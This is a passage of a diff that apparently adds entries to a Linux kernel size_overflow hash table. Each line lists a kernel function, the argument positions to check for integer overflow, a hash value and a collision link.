++_002918_hash ql_process_mac_rx_page 4 15543 _002918_hash NULL
++_002919_hash ql_process_mac_rx_skb 4 6689 _002919_hash NULL
++_002920_hash rfcomm_tty_write 3 51603 _002920_hash NULL
++_002921_hash send_mpa_reject 3 7135 _002921_hash NULL
++_002922_hash send_mpa_reply 3 32372 _002922_hash NULL
++_002923_hash set_rxd_buffer_pointer 8 9950 _002923_hash NULL
++_002924_hash sge_rx 3 50594 _002924_hash NULL
++_002925_hash skb_cow_data 2 11565 _002925_hash NULL
++_002926_hash smp_build_cmd 3 45853 _002926_hash NULL
++_002927_hash sock_alloc_send_skb 2 23720 _002927_hash NULL
++_002928_hash sys_pselect6 1 57449 _002928_hash NULL
++_002929_hash tcp_fragment 3 20436 _002929_hash NULL
++_002930_hash teiup_create 3 43201 _002930_hash NULL
++_002931_hash tg3_run_loopback 2 30093 _002931_hash NULL
++_002932_hash tun_alloc_skb 2-4-3 41216 _002932_hash NULL
++_002935_hash ubifs_write_node 5-3 11258 _002935_hash NULL
++_002936_hash use_pool 2 64607 _002936_hash NULL
++_002937_hash vxge_rx_alloc 3 52024 _002937_hash NULL
++_002938_hash add_packet 3 54433 _002938_hash NULL
++_002939_hash add_rx_skb 3 8257 _002939_hash NULL
++_002940_hash ath6kl_buf_alloc 1 57304 _002940_hash NULL
++_002941_hash bat_iv_ogm_aggregate_new 2 2620 _002941_hash NULL
++_002942_hash bnx2fc_process_l2_frame_compl 3 65072 _002942_hash NULL
++_002943_hash brcmu_pkt_buf_get_skb 1 5556 _002943_hash NULL
++_002944_hash br_send_bpdu 3 29669 _002944_hash NULL
++_002945_hash bt_skb_send_alloc 2 6581 _002945_hash NULL
++_002946_hash c4iw_reject_cr 3 28174 _002946_hash NULL
++_002947_hash carl9170_rx_copy_data 2 21656 _002947_hash NULL
++_002948_hash cfpkt_add_body 3 44630 _002948_hash NULL
++_002949_hash cfpkt_append 3 61206 _002949_hash NULL
++_002950_hash cosa_net_setup_rx 2 38594 _002950_hash NULL
++_002951_hash cxgb4_pktgl_to_skb 2 61899 _002951_hash NULL
++_002952_hash dn_alloc_send_pskb 2 4465 _002952_hash NULL
++_002953_hash dn_nsp_return_disc 2 60296 _002953_hash NULL
++_002954_hash dn_nsp_send_disc 2 23469 _002954_hash NULL
++_002955_hash dsp_tone_hw_message 3 17678 _002955_hash NULL
++_002956_hash dvb_net_sec 3 37884 _002956_hash NULL
++_002957_hash e1000_check_copybreak 3 62448 _002957_hash NULL
++_002958_hash fast_rx_path 3 59214 _002958_hash NULL
++_002959_hash fc_fcp_frame_alloc 2 12624 _002959_hash NULL
++_002960_hash fcoe_ctlr_send_keep_alive 3 15308 _002960_hash NULL
++_002961_hash fwnet_incoming_packet 3 40380 _002961_hash NULL
++_002962_hash fwnet_pd_new 4 39947 _002962_hash NULL
++_002963_hash got_frame 2 16028 _002963_hash NULL
++_002964_hash gsm_mux_rx_netchar 3 33336 _002964_hash NULL
++_002965_hash hdlcdev_rx 3 997 _002965_hash NULL
++_002966_hash hdlc_empty_fifo 2 18397 _002966_hash NULL
++_002967_hash hfc_empty_fifo 2 57972 _002967_hash NULL
++_002968_hash hfcpci_empty_fifo 4 2427 _002968_hash NULL
++_002969_hash hfcsusb_rx_frame 3 52745 _002969_hash NULL
++_002970_hash hidp_output_raw_report 3 5629 _002970_hash NULL
++_002971_hash hscx_empty_fifo 2 13360 _002971_hash NULL
++_002972_hash hysdn_rx_netpkt 3 16136 _002972_hash NULL
++_002973_hash ieee80211_fragment 4 33112 _002973_hash NULL
++_002974_hash ieee80211_probereq_get 4-6 29069 _002974_hash NULL
++_002976_hash ieee80211_send_auth 5 24121 _002976_hash NULL
++_002977_hash ieee80211_set_probe_resp 3 10077 _002977_hash NULL
++_002978_hash ieee80211_tdls_mgmt 8 9581 _002978_hash NULL
++_002979_hash ip6_ufo_append_data 5-7-6 4780 _002979_hash NULL
++_002982_hash ip_ufo_append_data 6-8-7 12775 _002982_hash NULL
++_002985_hash ipw_packet_received_skb 2 1230 _002985_hash NULL
++_002986_hash iwch_reject_cr 3 23901 _002986_hash NULL
++_002987_hash iwm_rx_packet_alloc 3 9898 _002987_hash NULL
++_002988_hash ixgb_check_copybreak 3 5847 _002988_hash NULL
++_002989_hash l1oip_socket_parse 4 4507 _002989_hash NULL
++_002990_hash l2cap_send_cmd 4 14548 _002990_hash NULL
++_002991_hash l2tp_ip6_sendmsg 4 7461 _002991_hash NULL
++_002993_hash lowpan_fragment_xmit 3-4 22095 _002993_hash NULL
++_002996_hash mcs_unwrap_fir 3 25733 _002996_hash NULL
++_002997_hash mcs_unwrap_mir 3 9455 _002997_hash NULL
++_002998_hash mld_newpack 2 50950 _002998_hash NULL
++_002999_hash nfc_alloc_send_skb 4 3167 _002999_hash NULL
++_003000_hash p54_download_eeprom 4 43842 _003000_hash NULL
++_003002_hash ppp_tx_cp 5 62044 _003002_hash NULL
++_003003_hash prism2_send_mgmt 4 62605 _003003_hash &_001876_hash
++_003004_hash prism2_sta_send_mgmt 5 43916 _003004_hash NULL
++_003005_hash _queue_data 4 54983 _003005_hash NULL
++_003006_hash read_dma 3 55086 _003006_hash NULL
++_003007_hash read_fifo 3 826 _003007_hash NULL
++_003008_hash receive_copy 3 12216 _003008_hash NULL
++_003009_hash rtl8169_try_rx_copy 3 705 _003009_hash NULL
++_003010_hash _rtl92s_firmware_downloadcode 3 14021 _003010_hash NULL
++_003011_hash rx_data 4 60442 _003011_hash NULL
++_003012_hash sis190_try_rx_copy 3 57069 _003012_hash NULL
++_003013_hash skge_rx_get 3 40598 _003013_hash NULL
++_003014_hash tcp_mark_head_lost 2 35895 _003014_hash NULL
++_003015_hash tcp_match_skb_to_sack 3-4 23568 _003015_hash NULL
++_003017_hash tso_fragment 3 29050 _003017_hash NULL
++_003018_hash tt_response_fill_table 1 57902 _003018_hash NULL
++_003020_hash udpv6_sendmsg 4 22316 _003020_hash NULL
++_003021_hash velocity_rx_copy 2 34583 _003021_hash NULL
++_003022_hash W6692_empty_Bfifo 2 47804 _003022_hash NULL
++_003023_hash zd_mac_rx 3 38296 _003023_hash NULL
++_003024_hash ath6kl_wmi_get_new_buf 1 52304 _003024_hash NULL
++_003025_hash bat_iv_ogm_queue_add 3 30870 _003025_hash NULL
++_003026_hash brcmf_alloc_pkt_and_read 2 63116 _003026_hash &_001808_hash
++_003027_hash brcmf_sdcard_recv_buf 6 38179 _003027_hash NULL
++_003028_hash brcmf_sdcard_rwdata 5 65041 _003028_hash NULL
++_003029_hash brcmf_sdcard_send_buf 6 7713 _003029_hash NULL
++_003030_hash carl9170_handle_mpdu 3 11056 _003030_hash NULL
++_003031_hash cfpkt_add_trail 3 27260 _003031_hash NULL
++_003032_hash cfpkt_pad_trail 2 55511 _003032_hash NULL
++_003033_hash dvb_net_sec_callback 2 28786 _003033_hash NULL
++_003034_hash fwnet_receive_packet 9 50537 _003034_hash NULL
++_003035_hash handle_rx_packet 3 58993 _003035_hash NULL
++_003036_hash HDLC_irq 2 8709 _003036_hash NULL
++_003037_hash hdlc_rpr_irq 2 10240 _003037_hash NULL
++_003043_hash ipwireless_network_packet_received 4 51277 _003043_hash NULL
++_003044_hash l2cap_bredr_sig_cmd 3 49065 _003044_hash NULL
++_003045_hash l2cap_sock_alloc_skb_cb 2 33532 _003045_hash NULL
++_003046_hash llcp_allocate_pdu 3 19866 _003046_hash NULL
++_003047_hash ppp_cp_event 6 2965 _003047_hash NULL
++_003048_hash receive_client_update_packet 3 49104 _003048_hash NULL
++_003049_hash receive_server_sync_packet 3 59021 _003049_hash NULL
++_003050_hash sky2_receive 2 13407 _003050_hash NULL
++_003051_hash tcp_sacktag_walk 5-6 49703 _003051_hash NULL
++_003053_hash tcp_write_xmit 2 64602 _003053_hash NULL
++_003054_hash ath6kl_wmi_add_wow_pattern_cmd 4 12842 _003054_hash NULL
++_003055_hash ath6kl_wmi_beginscan_cmd 8 25462 _003055_hash NULL
++_003056_hash ath6kl_wmi_send_probe_response_cmd 6 31728 _003056_hash NULL
++_003057_hash ath6kl_wmi_set_appie_cmd 5 39266 _003057_hash NULL
++_003058_hash ath6kl_wmi_set_ie_cmd 6 37260 _003058_hash NULL
++_003059_hash ath6kl_wmi_startscan_cmd 8 33674 _003059_hash NULL
++_003060_hash ath6kl_wmi_test_cmd 3 27312 _003060_hash NULL
++_003061_hash brcmf_sdbrcm_membytes 3-5 37324 _003061_hash NULL
++_003063_hash brcmf_sdbrcm_read_control 3 22721 _003063_hash NULL
++_003064_hash brcmf_tx_frame 3 20978 _003064_hash NULL
++_003065_hash __carl9170_rx 3 56784 _003065_hash NULL
++_003066_hash cfpkt_setlen 2 49343 _003066_hash NULL
++_003067_hash hdlc_irq_one 2 3944 _003067_hash NULL
++_003069_hash tcp_push_one 2 48816 _003069_hash NULL
++_003070_hash __tcp_push_pending_frames 2 48148 _003070_hash NULL
++_003071_hash brcmf_sdbrcm_bus_txctl 3 42492 _003071_hash NULL
++_003072_hash carl9170_rx 3 13272 _003072_hash NULL
++_003073_hash carl9170_rx_stream 3 1334 _003073_hash NULL
++_003074_hash tcp_push 3 10680 _003074_hash NULL
++_003075_hash create_log 2 8225 _003075_hash NULL
++_003076_hash expand_files 2 17080 _003076_hash NULL
++_003077_hash iio_device_alloc 1 41440 _003077_hash NULL
++_003078_hash OS_mem_token_alloc 1 14276 _003078_hash NULL
++_003079_hash packet_came 3 18072 _003079_hash NULL
++_003080_hash softsynth_write 3 3455 _003080_hash NULL
++_003081_hash alloc_fd 1 37637 _003081_hash NULL
++_003082_hash sys_dup3 2 33421 _003082_hash NULL
++_003083_hash do_fcntl 3 31468 _003083_hash NULL
++_003084_hash sys_dup2 2 25284 _003084_hash NULL
++_003085_hash sys_fcntl 3 19267 _003085_hash NULL
++_003086_hash sys_fcntl64 3 29031 _003086_hash NULL
++_003087_hash cmpk_message_handle_tx 4 54024 _003087_hash NULL
++_003088_hash comedi_buf_alloc 3 24822 _003088_hash NULL
++_003089_hash compat_rw_copy_check_uvector 3 22001 _003089_hash &_001989_hash
++_003090_hash compat_sys_fcntl64 3 60256 _003090_hash NULL
++_003091_hash evtchn_write 3 43278 _003091_hash NULL
++_003092_hash fw_download_code 3 13249 _003092_hash NULL
++_003093_hash fwSendNullPacket 2 54618 _003093_hash NULL
++_003095_hash ieee80211_authentication_req 3 63973 _003095_hash NULL
++_003097_hash rtllib_authentication_req 3 26713 _003097_hash NULL
++_003098_hash SendTxCommandPacket 3 42901 _003098_hash NULL
++_003099_hash snd_nm256_capture_copy 5 28622 _003099_hash NULL
++_003100_hash snd_nm256_playback_copy 5 38567 _003100_hash NULL
++_003101_hash tomoyo_init_log 2 14806 _003101_hash NULL
++_003102_hash usbdux_attach_common 4 51764 _003271_hash NULL nohasharray
++_003103_hash compat_sys_fcntl 3 15654 _003103_hash NULL
++_003104_hash ieee80211_auth_challenge 3 18810 _003104_hash NULL
++_003105_hash ieee80211_rtl_auth_challenge 3 61897 _003105_hash NULL
++_003106_hash resize_async_buffer 4 64031 _003106_hash &_002119_hash
++_003107_hash rtllib_auth_challenge 3 12493 _003107_hash NULL
++_003108_hash tomoyo_write_log2 2 11732 _003108_hash NULL
++_003109_hash allocate_probes 1 40204 _003109_hash NULL
++_003110_hash alloc_ftrace_hash 1 57431 _003110_hash &_002532_hash
++_003111_hash __alloc_preds 2 9492 _003111_hash NULL
++_003112_hash __alloc_pred_stack 2 26687 _003112_hash NULL
++_003113_hash alloc_sched_domains 1 47756 _003113_hash NULL
++_003114_hash alloc_trace_probe 6 38720 _003114_hash NULL
++_003115_hash alloc_trace_uprobe 3 13870 _003850_hash NULL nohasharray
++_003116_hash arcfb_write 3 8702 _003116_hash NULL
++_003117_hash ath6kl_sdio_alloc_prep_scat_req 2 51986 _003117_hash NULL
++_003118_hash ath6kl_usb_post_recv_transfers 2 32892 _003118_hash NULL
++_003119_hash ath6kl_usb_submit_ctrl_in 6 32880 _003119_hash &_000778_hash
++_003120_hash ath6kl_usb_submit_ctrl_out 6 9978 _003120_hash NULL
++_003121_hash auok190xfb_write 3 37001 _003121_hash NULL
++_003122_hash beacon_interval_write 3 17952 _003122_hash NULL
++_003123_hash blk_dropped_read 3 4168 _003123_hash NULL
++_003124_hash blk_msg_write 3 13655 _003124_hash NULL
++_003125_hash brcmf_usbdev_qinit 2 19090 _003125_hash &_001533_hash
++_003126_hash brcmf_usb_dl_cmd 4 53130 _003126_hash NULL
++_003127_hash broadsheetfb_write 3 39976 _003127_hash NULL
++_003128_hash broadsheet_spiflash_rewrite_sector 2 54864 _003128_hash NULL
++_003129_hash cyttsp_probe 4 1940 _003129_hash NULL
++_003130_hash da9052_group_write 3 4534 _003130_hash NULL
++_003131_hash dccpprobe_read 3 52549 _003131_hash NULL
++_003132_hash drm_property_create_bitmask 5 30195 _003132_hash NULL
++_003133_hash dtim_interval_write 3 30489 _003133_hash NULL
++_003134_hash dynamic_ps_timeout_write 3 37713 _003134_hash NULL
++_003135_hash event_enable_read 3 7074 _003135_hash NULL
++_003136_hash event_enable_write 3 45238 _003136_hash NULL
++_003137_hash event_filter_read 3 23494 _003137_hash NULL
++_003138_hash event_filter_write 3 56609 _003138_hash NULL
++_003139_hash event_id_read 3 64288 _003139_hash &_001240_hash
++_003140_hash f_audio_buffer_alloc 1 41110 _003140_hash NULL
++_003141_hash fb_sys_read 3 13778 _003141_hash NULL
++_003142_hash fb_sys_write 3 33130 _003142_hash NULL
++_003143_hash forced_ps_write 3 37209 _003143_hash NULL
++_003144_hash __fprog_create 2 41263 _003144_hash NULL
++_003145_hash fq_codel_zalloc 1 15378 _003145_hash NULL
++_003146_hash ftrace_pid_write 3 39710 _003146_hash NULL
++_003147_hash ftrace_profile_read 3 21327 _003147_hash NULL
++_003148_hash ftrace_profile_write 3 53327 _003148_hash NULL
++_003149_hash ftrace_write 3 29551 _003149_hash NULL
++_003150_hash gdm_wimax_netif_rx 3 43423 _003150_hash &_001619_hash
++_003151_hash gpio_power_write 3 1991 _003151_hash NULL
++_003152_hash hecubafb_write 3 26942 _003152_hash NULL
++_003153_hash hsc_msg_alloc 1 60990 _003153_hash NULL
++_003154_hash hsc_write 3 55875 _003154_hash NULL
++_003155_hash hsi_alloc_controller 1 41802 _003155_hash NULL
++_003156_hash hsi_register_board_info 2 13820 _003156_hash NULL
++_003157_hash i915_ring_stop_read 3 42549 _003406_hash NULL nohasharray
++_003158_hash i915_ring_stop_write 3 59010 _003158_hash NULL
++_003159_hash ieee802154_alloc_device 1 13767 _003159_hash NULL
++_003160_hash intel_sdvo_write_cmd 4 54377 _003160_hash &_000815_hash
++_003161_hash ivtvfb_write 3 40023 _003161_hash NULL
++_003162_hash metronomefb_write 3 8823 _003162_hash NULL
++_003163_hash mwifiex_usb_submit_rx_urb 2 54558 _003163_hash NULL
++_003164_hash nfc_hci_hcp_message_tx 6 14534 _003164_hash NULL
++_003165_hash nfc_hci_set_param 5 40697 _003165_hash NULL
++_003166_hash nfc_shdlc_alloc_skb 2 12741 _003166_hash NULL
++_003167_hash odev_update 2 50169 _003167_hash NULL
++_003168_hash oz_add_farewell 5 20652 _003168_hash NULL
++_003169_hash oz_cdev_read 3 20659 _003169_hash NULL
++_003170_hash oz_cdev_write 3 33852 _003170_hash NULL
++_003171_hash oz_ep_alloc 2 5587 _003171_hash NULL
++_003172_hash oz_events_read 3 47535 _003172_hash NULL
++_003173_hash pmcraid_copy_sglist 3 38431 _003173_hash NULL
++_003174_hash prctl_set_mm 3 64538 _003174_hash NULL
++_003175_hash ptp_filter_init 2 36780 _003175_hash NULL
++_003176_hash rb_simple_read 3 45972 _003176_hash NULL
++_003177_hash rb_simple_write 3 20890 _003177_hash NULL
++_003178_hash read_file_dfs 3 43145 _003178_hash NULL
++_003179_hash rx_streaming_always_write 3 32357 _003436_hash NULL nohasharray
++_003180_hash rx_streaming_interval_write 3 50120 _003180_hash NULL
++_003181_hash shmem_pread_fast 3 34147 _003181_hash NULL
++_003182_hash shmem_pread_slow 3 3198 _003182_hash NULL
++_003183_hash shmem_pwrite_fast 3 46842 _003183_hash NULL
++_003184_hash shmem_pwrite_slow 3 31741 _003184_hash NULL
++_003185_hash show_header 3 4722 _003185_hash &_000736_hash
++_003186_hash split_scan_timeout_write 3 52128 _003186_hash NULL
++_003187_hash stack_max_size_read 3 1445 _003187_hash NULL
++_003188_hash stack_max_size_write 3 36068 _003188_hash NULL
++_003189_hash subsystem_filter_read 3 62310 _003189_hash NULL
++_003190_hash subsystem_filter_write 3 13022 _003190_hash NULL
++_003191_hash suspend_dtim_interval_write 3 48854 _003191_hash NULL
++_003192_hash system_enable_read 3 25815 _003192_hash NULL
++_003193_hash system_enable_write 3 61396 _003193_hash NULL
++_003194_hash trace_options_core_read 3 47390 _003194_hash NULL
++_003195_hash trace_options_core_write 3 61551 _003195_hash NULL
++_003196_hash trace_options_read 3 11419 _003196_hash NULL
++_003197_hash trace_options_write 3 48275 _003197_hash NULL
++_003198_hash trace_parser_get_init 2 31379 _003198_hash NULL
++_003199_hash traceprobe_probes_write 3 64969 _003199_hash NULL
++_003200_hash trace_seq_to_user 3 65398 _003200_hash NULL
++_003201_hash tracing_buffers_read 3 11124 _003201_hash NULL
++_003202_hash tracing_clock_write 3 27961 _003202_hash NULL
++_003203_hash tracing_cpumask_read 3 7010 _003203_hash NULL
++_003204_hash tracing_ctrl_read 3 46922 _003204_hash NULL
++_003205_hash tracing_ctrl_write 3 42324 _003205_hash &_001726_hash
++_003206_hash tracing_entries_read 3 8345 _003206_hash NULL
++_003207_hash tracing_entries_write 3 60563 _003207_hash NULL
++_003208_hash tracing_max_lat_read 3 8890 _003208_hash NULL
++_003209_hash tracing_max_lat_write 3 8728 _003209_hash NULL
++_003210_hash tracing_read_dyn_info 3 45468 _003210_hash NULL
++_003211_hash tracing_readme_read 3 16493 _003211_hash NULL
++_003212_hash tracing_saved_cmdlines_read 3 21434 _003212_hash NULL
++_003213_hash tracing_set_trace_read 3 44122 _003213_hash NULL
++_003214_hash tracing_set_trace_write 3 57096 _003214_hash NULL
++_003215_hash tracing_stats_read 3 34537 _003215_hash NULL
++_003216_hash tracing_total_entries_read 3 62817 _003216_hash NULL
++_003217_hash tracing_trace_options_write 3 153 _003217_hash NULL
++_003218_hash ttm_put_pages 2 9179 _003218_hash NULL
++_003219_hash udl_prime_create 2 57159 _003219_hash NULL
++_003220_hash ufx_alloc_urb_list 3 10349 _003220_hash NULL
++_003221_hash u_memcpya 2-3 30139 _003221_hash NULL
++_003223_hash viafb_dfph_proc_write 3 49288 _003223_hash NULL
++_003224_hash viafb_dfpl_proc_write 3 627 _003224_hash NULL
++_003225_hash viafb_dvp0_proc_write 3 23023 _003225_hash NULL
++_003226_hash viafb_dvp1_proc_write 3 48864 _003226_hash NULL
++_003227_hash viafb_vt1636_proc_write 3 16018 _003227_hash NULL
++_003228_hash vivi_read 3 23073 _003228_hash NULL
++_003229_hash wl1271_rx_filter_alloc_field 5 46721 _003229_hash NULL
++_003230_hash wl12xx_cmd_build_probe_req 6-8 3098 _003230_hash NULL
++_003232_hash wlcore_alloc_hw 1 7785 _003232_hash NULL
++_003233_hash alloc_and_copy_ftrace_hash 1 29368 _003233_hash NULL
++_003234_hash create_trace_probe 1 20175 _003234_hash NULL
++_003235_hash create_trace_uprobe 1 13184 _003235_hash NULL
++_003236_hash intel_sdvo_set_value 4 2311 _003236_hash NULL
++_003237_hash mmio_read 4 40348 _003237_hash NULL
++_003238_hash nfc_hci_execute_cmd 5 43882 _003238_hash NULL
++_003239_hash nfc_hci_send_event 5 21452 _003239_hash NULL
++_003240_hash nfc_hci_send_response 5 56462 _003240_hash NULL
++_003241_hash picolcd_fb_write 3 2318 _003241_hash NULL
++_003242_hash probes_write 3 29711 _003242_hash NULL
++_003243_hash sys_prctl 4 8766 _003243_hash NULL
++_003244_hash tracing_read_pipe 3 35312 _003244_hash NULL
++_003245_hash brcmf_usb_attach 1-2 44656 _003245_hash NULL
++_003247_hash dlfb_ops_write 3 64150 _003247_hash NULL
++_003248_hash nfc_hci_send_cmd 5 55714 _003248_hash NULL
++_003249_hash ufx_ops_write 3 54848 _003249_hash NULL
++_003250_hash viafb_iga1_odev_proc_write 3 36241 _003250_hash NULL
++_003251_hash viafb_iga2_odev_proc_write 3 2363 _003251_hash NULL
++_003252_hash xenfb_write 3 43412 _003252_hash NULL
++_003253_hash acl_alloc 1 35979 _003253_hash NULL
++_003254_hash acl_alloc_stack_init 1 60630 _003254_hash NULL
++_003255_hash acl_alloc_num 1-2 60778 _003255_hash NULL
++_003257_hash padzero 1 55 _003257_hash &_002013_hash
++_003258_hash __get_vm_area_node 1 55305 _003258_hash NULL
++_003259_hash get_vm_area 1 18080 _003259_hash NULL
++_003260_hash __get_vm_area 1 61599 _003260_hash NULL
++_003261_hash get_vm_area_caller 1 10527 _003261_hash NULL
++_003262_hash __get_vm_area_caller 1 56416 _003302_hash NULL nohasharray
++_003263_hash alloc_vm_area 1 36149 _003263_hash NULL
++_003264_hash __ioremap_caller 1-2 21800 _003264_hash NULL
++_003266_hash vmap 2 15025 _003266_hash NULL
++_003267_hash ioremap_cache 1-2 47189 _003267_hash NULL
++_003269_hash ioremap_nocache 1-2 2439 _003269_hash NULL
++_003271_hash ioremap_prot 1-2 51764 _003271_hash &_003102_hash
++_003273_hash ioremap_wc 1-2 62695 _003273_hash NULL
++_003274_hash acpi_os_ioremap 1-2 49523 _003274_hash NULL
++_003276_hash ca91cx42_alloc_resource 2 10502 _003276_hash NULL
++_003277_hash devm_ioremap_nocache 2-3 2036 _003277_hash NULL
++_003279_hash __einj_error_trigger 1 17707 _003279_hash &_001577_hash
++_003280_hash io_mapping_map_wc 2 19284 _003280_hash NULL
++_003281_hash ioremap 1-2 23172 _003281_hash NULL
++_003283_hash lguest_map 1-2 42008 _003283_hash NULL
++_003285_hash msix_map_region 3 3411 _003285_hash NULL
++_003286_hash pci_iomap 3 47575 _003286_hash NULL
++_003287_hash sfi_map_memory 1-2 5183 _003287_hash NULL
++_003289_hash tsi148_alloc_resource 2 24563 _003289_hash NULL
++_003290_hash vb2_vmalloc_get_userptr 3 31374 _003290_hash NULL
++_003291_hash xlate_dev_mem_ptr 1 15291 _003291_hash &_001167_hash
++_003292_hash a4t_cs_init 3 27734 _003292_hash NULL
++_003293_hash aac_nark_ioremap 2 50163 _003293_hash &_000314_hash
++_003294_hash aac_rkt_ioremap 2 3333 _003294_hash NULL
++_003295_hash aac_rx_ioremap 2 52410 _003295_hash NULL
++_003296_hash aac_sa_ioremap 2 13596 _003296_hash &_000288_hash
++_003297_hash aac_src_ioremap 2 41688 _003297_hash NULL
++_003298_hash aac_srcv_ioremap 2 6659 _003298_hash NULL
++_003299_hash acpi_map 1-2 58725 _003299_hash NULL
++_003301_hash acpi_os_read_memory 1-3 54186 _003301_hash NULL
++_003302_hash acpi_os_write_memory 1-3 56416 _003302_hash &_003262_hash
++_003303_hash c101_run 2 37279 _003303_hash NULL
++_003304_hash ca91cx42_master_set 4 23146 _003304_hash NULL
++_003305_hash check586 2 29914 _003305_hash NULL
++_003306_hash check_mirror 1-2 57342 _003306_hash &_001564_hash
++_003308_hash cru_detect 1 11272 _003308_hash NULL
++_003309_hash cs553x_init_one 3 58886 _003309_hash NULL
++_003310_hash cycx_setup 4 47562 _003310_hash NULL
++_003311_hash DepcaSignature 2 80 _003311_hash &_001321_hash
++_003312_hash devm_ioremap 2-3 29235 _003312_hash NULL
++_003314_hash divasa_remap_pci_bar 3-4 23485 _003314_hash &_000947_hash
++_003316_hash dma_declare_coherent_memory 2-4 14244 _003316_hash NULL
++_003318_hash doc_probe 1 23285 _003318_hash NULL
++_003319_hash DoC_Probe 1 57534 _003319_hash NULL
++_003320_hash ems_pcmcia_add_card 2 62627 _003320_hash NULL
++_003321_hash gdth_init_isa 1 28091 _003321_hash NULL
++_003322_hash gdth_search_isa 1 58595 _003322_hash NULL
++_003323_hash isp1760_register 1-2 628 _003323_hash NULL
++_003325_hash mthca_map_reg 2-3 5664 _003325_hash NULL
++_003327_hash n2_run 3 53459 _003327_hash NULL
++_003328_hash pcim_iomap 3 58334 _003328_hash NULL
++_003329_hash probe_bios 1 17467 _003329_hash NULL
++_003330_hash register_device 2-3 60015 _003330_hash NULL
++_003332_hash remap_pci_mem 1-2 15966 _003332_hash NULL
++_003334_hash rtl_port_map 1-2 2385 _003334_hash NULL
++_003336_hash sfi_map_table 1 5462 _003336_hash NULL
++_003337_hash sriov_enable_migration 2 14889 _003337_hash NULL
++_003338_hash ssb_bus_scan 2 36578 _003338_hash NULL
++_003339_hash ssb_ioremap 2 5228 _003339_hash NULL
++_003340_hash tpm_tis_init 2-3 15304 _003340_hash NULL
++_003342_hash tsi148_master_set 4 14685 _003342_hash NULL
++_003343_hash acpi_os_map_memory 1-2 11161 _003343_hash NULL
++_003345_hash com90xx_found 3 13974 _003345_hash NULL
++_003346_hash dmam_declare_coherent_memory 2-4 43679 _003346_hash NULL
++_003348_hash gdth_isa_probe_one 1 48925 _003348_hash NULL
++_003349_hash sfi_check_table 1 6772 _003349_hash NULL
++_003350_hash sfi_sysfs_install_table 1 51688 _003350_hash NULL
++_003351_hash sriov_enable 2 59689 _003351_hash NULL
++_003352_hash ssb_bus_register 3 65183 _003352_hash NULL
++_003353_hash acpi_ex_system_memory_space_handler 2 31192 _003353_hash NULL
++_003354_hash acpi_tb_check_xsdt 1 21862 _003354_hash NULL
++_003355_hash acpi_tb_install_table 1 12988 _003355_hash NULL
++_003356_hash acpi_tb_parse_root_table 1 53455 _003356_hash NULL
++_003357_hash check_vendor_extension 1 3254 _003357_hash NULL
++_003358_hash pci_enable_sriov 2 35745 _003358_hash NULL
++_003359_hash ssb_bus_pcmciabus_register 3 56020 _003359_hash NULL
++_003360_hash ssb_bus_ssbbus_register 2 2217 _003360_hash NULL
++_003361_hash lpfc_sli_probe_sriov_nr_virtfn 2 26004 _003361_hash NULL
++_003364_hash alloc_vm_area 1 15989 _003364_hash NULL
++_003366_hash efi_ioremap 1-2 3492 _003366_hash &_001092_hash
++_003368_hash init_chip_wc_pat 2 62768 _003368_hash NULL
++_003369_hash io_mapping_create_wc 1-2 1354 _003369_hash NULL
++_003371_hash iommu_map_mmio_space 1 30919 _003371_hash NULL
++_003372_hash arch_gnttab_map_shared 3 41306 _003372_hash NULL
++_003373_hash arch_gnttab_map_status 3 49812 _003373_hash NULL
++_003374_hash intel_render_ring_init_dri 2-3 45446 _003374_hash NULL
++_003376_hash persistent_ram_iomap 1-2 47156 _003376_hash NULL
++_003378_hash sparse_early_usemaps_alloc_pgdat_section 2 62304 _003378_hash NULL
++_003379_hash ttm_bo_ioremap 2-3 31082 _003379_hash NULL
++_003381_hash ttm_bo_kmap_ttm 3 5922 _003381_hash NULL
++_003382_hash atyfb_setup_generic 3 49151 _003382_hash NULL
++_003383_hash do_test 1 15766 _003383_hash NULL
++_003384_hash mga_ioremap 1-2 8571 _003384_hash NULL
++_003386_hash mid_get_vbt_data_r0 2 10876 _003386_hash NULL
++_003387_hash mid_get_vbt_data_r10 2 6308 _003387_hash NULL
++_003388_hash mid_get_vbt_data_r1 2 26170 _003388_hash NULL
++_003389_hash persistent_ram_buffer_map 1-2 11332 _003389_hash NULL
++_003391_hash read_vbt_r0 1 503 _003391_hash NULL
++_003392_hash read_vbt_r10 1 60679 _003392_hash NULL
++_003393_hash tpci200_slot_map_space 2 3848 _003393_hash NULL
++_003394_hash ttm_bo_kmap 2-3 60118 _003394_hash NULL
++_003395_hash persistent_ram_new 1-2 14588 _003395_hash NULL
++_003396_hash mpt_lan_receive_post_turbo 2 13592 _003396_hash NULL
++_003397_hash v4l2_ctrl_new_int_menu 4 41151 _003397_hash NULL
++_003398_hash v4l2_ctrl_new_std 5 45748 _003398_hash &_002699_hash
++_003399_hash v4l2_ctrl_new_std_menu 4 6221 _003399_hash NULL
++_003400_hash xhci_alloc_streams 5 37586 _003400_hash NULL
++_003401_hash cx2341x_ctrl_new_menu 3 49700 _003401_hash NULL
++_003402_hash cx2341x_ctrl_new_std 4 57061 _003402_hash NULL
++_003405_hash _alloc_get_attr_desc 2 470 _003405_hash NULL
++_003406_hash ath6kl_wmi_proc_events_vif 5 42549 _003406_hash &_003157_hash
++_003407_hash bitmap_resize 2 33054 _003407_hash NULL
++_003408_hash bitmap_storage_alloc 2 55077 _003408_hash NULL
++_003411_hash bnx2fc_process_unsol_compl 2 15576 _003411_hash NULL
++_003413_hash btmrvl_sdio_host_to_card 3 12152 _003413_hash NULL
++_003415_hash btrfs_error_discard_extent 2 50444 _003415_hash NULL
++_003416_hash btrfsic_cmp_log_and_dev_bytenr 2 49628 _003416_hash NULL
++_003417_hash c4iw_id_table_alloc 3 48163 _003417_hash NULL
++_003418_hash cache_read_pipefs 3 47615 _003418_hash NULL
++_003419_hash cache_read_procfs 3 52882 _003419_hash NULL
++_003420_hash cache_write_pipefs 3 48270 _003420_hash NULL
++_003421_hash cache_write_procfs 3 22491 _003421_hash NULL
++_003425_hash cfpkt_split 2 47541 _003425_hash NULL
++_003426_hash cgroup_file_read 3 28804 _003426_hash NULL
++_003427_hash cgroup_file_write 3 52417 _003427_hash NULL
++_003428_hash cnic_init_id_tbl 2 41354 _003428_hash NULL
++_003430_hash copy_nodes_to_user 2 63807 _003430_hash NULL
++_003431_hash cp210x_get_config 4 56229 _003431_hash NULL
++_003432_hash cp210x_set_config 4 46447 _003432_hash NULL
++_003433_hash cx18_v4l2_read 3 21196 _003433_hash NULL
++_003434_hash dccp_setsockopt 5 60367 _003434_hash NULL
++_003435_hash ddp_ppod_write_idata 5 25610 _003435_hash NULL
